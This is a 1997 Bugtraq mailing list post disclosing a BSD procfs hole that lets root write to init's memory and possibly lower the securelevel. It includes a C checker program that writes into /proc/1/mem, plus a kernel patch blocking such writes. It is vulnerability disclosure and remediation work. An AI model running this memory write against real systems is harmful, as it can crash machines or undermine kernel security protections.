Bugtraq mailing list archives
procfs take II
From: brian () FIREHOUSE NET (Brian Mitchell)
Date: Sat, 6 Sep 1997 02:53:25 -0400
There is a slight procfs hole that could allow a intruder to lower the securelevel. init's memory is not protected, so you can overwrite data/instructions in init and possibly lower the securelevel (although panicing the system is much more likely). Enclosed is a vulnerbility checker: #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <fcntl.h> main() { int tqbf=31337; int fd; int g0nz0; if(getuid()) { fprintf(stderr, "this attack needs root\n"); exit(1); } fd = open("/proc/1/mem", O_RDWR); if(fd < 0) { fprintf(stderr, "open of /proc/1/mem failed\n"); exit(2); } lseek(fd, 0x1000, SEEK_SET); g0nz0=write(fd, &tqbf, sizeof(int)); close(fd); if(g0nz0 >= 0) fprintf(stderr, "procfs is vulnerable!\n"); else fprintf(stderr, "procfs is not vulnerable!\n"); printf("returned %d\n", g0nz0); } Here is a simple patch, it disallows writes to pid 1's mem node if securelevel is > 0 (diff is based on 2.2.1 box with the securelevel fix applied): *** procfs_mem.c Sat Sep 6 02:36:39 1997 --- procfs_mem.c.new Sat Sep 6 02:38:25 1997 *************** *** 316,321 **** --- 316,325 ---- !(curp->p_cred->pc_ucred->cr_gid == KMEM_GROUP && uio->uio_rw == UIO_READ)) return EPERM; + + /* writing to init memory while securelevel > 0 is bad */ + if(uio->uio_rw == UIO_WRITE && p->p_pid == 1 && securelevel > 0) + return EPERM; error = procfs_rwmem(p, uio); Brian Mitchell brian () firehouse net "BSD code sucks. Of course, everything else sucks far more." - Theo de Raadt (OpenBSD President)
Current thread:
- Re: FW: [Alert] Website's uploader.exe (from demo) vulnerable Aleph One (Sep 05)
- promisc.c,v null: test devices for sniffers and device moniters. blind (Sep 03)
- Re: FW: [Alert] Website's uploader.exe (from demo) vulnerable David J. Meltzer (Sep 05)
- procfs take II Brian Mitchell (Sep 05)
- Security hole in Linux TCP stack (2.1.53 and all the rest) Superuser (Sep 07)
- sleath port scanning fix Superuser (Sep 07)
- DOS vulnerability in Livingston portmasters (pre 3.7) Dave Andersen (Sep 07)
- Re: sleath port scanning fix Darren Reed (Sep 08)
- Re: sleath port scanning fix Thamer Al-Herbish (Sep 08)